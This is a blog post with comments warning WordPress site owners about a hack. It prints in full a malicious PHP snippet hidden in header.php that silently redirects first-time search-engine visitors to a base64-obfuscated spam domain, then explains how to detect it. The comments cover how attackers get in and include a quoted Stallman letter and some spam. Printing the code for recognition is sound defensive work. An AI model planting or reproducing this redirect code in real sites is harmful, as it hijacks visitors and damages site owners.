Lately I have noticed some peoples blogs had been redirecting to some spammy landing page when you goto them from Google. I notified them about it and they thought I was nuts… cause they could not reproduce it.

Donncha (wish your girlfriend was hot like me(sorry)) O Caoimh well known wordpress developer has made a great post about how sites are hacked and also what to look for.

Donncha also has pinpointed the redirect and cookie hack which is very difficult to detect but what I have suspected has been going on:


< ?php $seref=array("google","msn","live","altavista","ask","yahoo","aol","cnn","weather","alexa"); $ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; } if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>

The code above basically redirects people from your website to their choice if:

1) they are coming from a search engine or other big referral site.
2) they have never visited your site before (no cookies are set).

Its pretty slick and very hard to detect since only NEW visitors would be effected.

Make sure you check all of your blogs for that code. (in header.php)

  1. So the tip off would be a large drop in search engine traffic? I know that I would notice a big drop in traffic on my sites.

  2. Wow. Good find. Which php file do you normally find that hack in?

  3. being the redirect headers would have to be sent first it should be in your header file.

  4. Actually, you would probably still see the search engine traffic, right? The search engine would still send the traffic to your site, but then the hack would redirect it somewhere else.

  5. Depends:

    Since the file still loads on your site the hit and refer will still register in your apache log files. So log parsers would still see it.

    Javascript based analytics like Google Analytics though would show a decline (since the javascript is not proccessed)

    BUT this hacker could simply have a iframe with your site loaded on his redirect and your stats would look the exact same.

  6. har, har 😛

    I really must do that “how to pronounce my name” video…

  7. I know this is a bit picky with code but you could of also showing it using using in_array() instead of a foreach loop 😉 But then again you were just showing how it could be done.

  8. good tip man. there will always be hackers just have to out think them 🙂

  9. Actually I was quoting the exploit exactly to show people what to look for.

  10. Very clever! I guess another way to detect it will be to clear the browser cookies for your site (I personally use the Add N Edit Cookies plugin for Firefox), then google your site and click a link and see what happens.

  11. How do they get that onto your site?

  12. Any suggestions on a search string to search multiple blogs on single server? For wordpress looking in header.php correct?

  13. I was expecting that you were going to talk about “wp-stat-php” which gave the same symptoms. Zero traffic from Google. One of my blog got it last week. People using Google could not access it and I could not even login into my blog. I wrote a post about it to that others learn about this one. I got the worst case of “wp-stat-php” .

    Removing wp-stats-php

    I since upgraded my whole blog network to be safer. Those with niche or not often updated could lose money/time. I sure did. 🙁

    So, people, upgrade to the latest version of WP.

    Yours is another example of someone using a security weakness.

    Do you know if it was with WP 2.5.1?

  14. I would also like to know this! Is there some sort of security exploit in WP that needs to be patched?

  15. I’ve decoded the base 64 code and the link is pointing to 😀 LOL. Thanks for great example!
    Now the only problem is how to inject this script to wordpress blogs. Using old versioned wordpress bugs is a great idea. But I won’t do it 😀

  16. Two things, first and most relevent; how is this code inserted into the header page?

    Second, please stop slandering hackers. I will not bother reiterating what others have said before me; enjoy a message from Stallman [with a note or two from me]:
    This letter is not meant for publication, although you can publish it if you wish. It is meant specifically for you, the editor, not the public.

    I am a hacker. That is to say, I enjoy playing with computers working with, learning about, and writing clever computer programs. I am not a cracker; I don’t make a practice of breaking computer security. [In fact, I make a practice of increasing computer security]

    There’s nothing shameful about the hacking I do. But when I tell people I am a hacker, people think I’m admitting something naughty because news[sources] such as yours misuse the word “hacker”, giving the impression that it means “security breaker” and nothing else. You are giving hackers a bad name.

    The saddest thing is that this problem is perpetuated deliberately. Your reporters know the difference between “hacker” and “security breaker”. They know how to make the distinction, but you don’t let them! You insist on using “hacker” pejoratively. When reporters try to use another word, you change it. When reporters try to explain the other meanings, you cut it.

    Of course, you have a reason. You say that readers have become used to your insulting usage of “hacker”, so that you cannot change it now. Well, you can’t undo past mistakes today; but that is no excuse to repeat them tomorrow.

    If I were what you call a “hacker”, at this point I would threaten to crack your computer and crash it. But I am a hacker, not a cracker. I don’t do that kind of thing! I have enough computers to play with at home and at work; I don’t need yours. Besides, it’s not my way to respond to insults with violence. My response is this letter.

    You owe hackers an apology; but more than that, you owe us ordinary respect.

  17. I guess they gain access to the server/account? Or maybe the files don’t have the proper permissions set in the first place?

  18. […] or other big referral site. 2) they have never visited your site before (no cookies are set). WordPress Redirect h4x’s – ShoeMoney® __________________ SPACASH V2.0 – GREAT SITES, CONTENT, PROMO TOOLS, RSS FEEDS, BANNERS & […]

  19. actually i have read it in my wordpress admin and really have looked instantly to my header.php.. thanks for the reminder though

  20. Even with permissions they still need a way to upload the file if they edit it. Most likely the account was compromised via plaintext FTP sniffing, which is still sickeningly common.

  21. But to make this on the header.php I think you have to have the password of the web host, because how do you would make this whithout the password/

  22. hahaha please……..

    Ive been a speaker at defcon and blackhat conferences and going for the last 8 years…. Was a security administrator for one of the largest banks in the world for years before that.

    I know you think you sound smart quoting some dude but you come off like a asshole

  23. I assume this hack finds it’s way in when you download a dodgy/free template? I’ve noticed lots of WP templates have loads of suspicious looking code in there that only looks like it’s hiding something…

  24. The food and bad about the interenet. THe bad being always having to look out for these things…The good being blogs like this looking out for us and helping us along.

  25. I have had this happen before when I clicked and ad for a site. Now I know what to look for in my own sites I am going to take a god look. Thanks Shoe.

  26. I hate f**kers that can’t just do their own thing without trying to rip from others.

  27. dude, Shoe, I think you’re site is infected with this or something similar. I went to directly from my browser, and it took me to “” or something like that. I was like wtf? Then I typed in again and came here successfully.

    Just givin you a heads up. Ironic you had a post up about it.

  28. Yeah Thanks! You really are a super hero. Earned the big S ..oops $ on your shirt today.

  29. Nice find Jeremy. If you clear your cache and cookies shouldn’t you see this issue when you go to your site then?

  34. And thank you very much for sharing this with the community at large, Jeremy. Forewarned is forearmed.

  35. An age of modern buccaneers indeed! Betcha the hairdo’s ain’t much better either!

  41. Wonderful blog! I definitely love how it is easy on my eyes and also the facts are well written. I am wondering how I might be notified whenever a new post has been made. I have subscribed to your rss feed which ought to do the trick! Have a nice day!

  42. Hopefully the evacuation of Ocracoke island was not necessarily needed and Earl juststays out at sea. Let us pray for that.

  43. Thank you for the awesome post. It reminds me that I’ve got to add extra structure in to my blogging. I’ve really enjoyed what you take the time to write here. When you’ve got a little time, would you tell me a way to get your RSS feed?

  44. It’s difficult to find experienced people on this topic, however, you seem like you know what you’re talking about! Thanks

  45. An intriguing discussion is definitely worth comment. I do think that you ought to publish more about this subject matter, it might not be a taboo matter but generally people do not talk about such topics. To the next! Best wishes!!
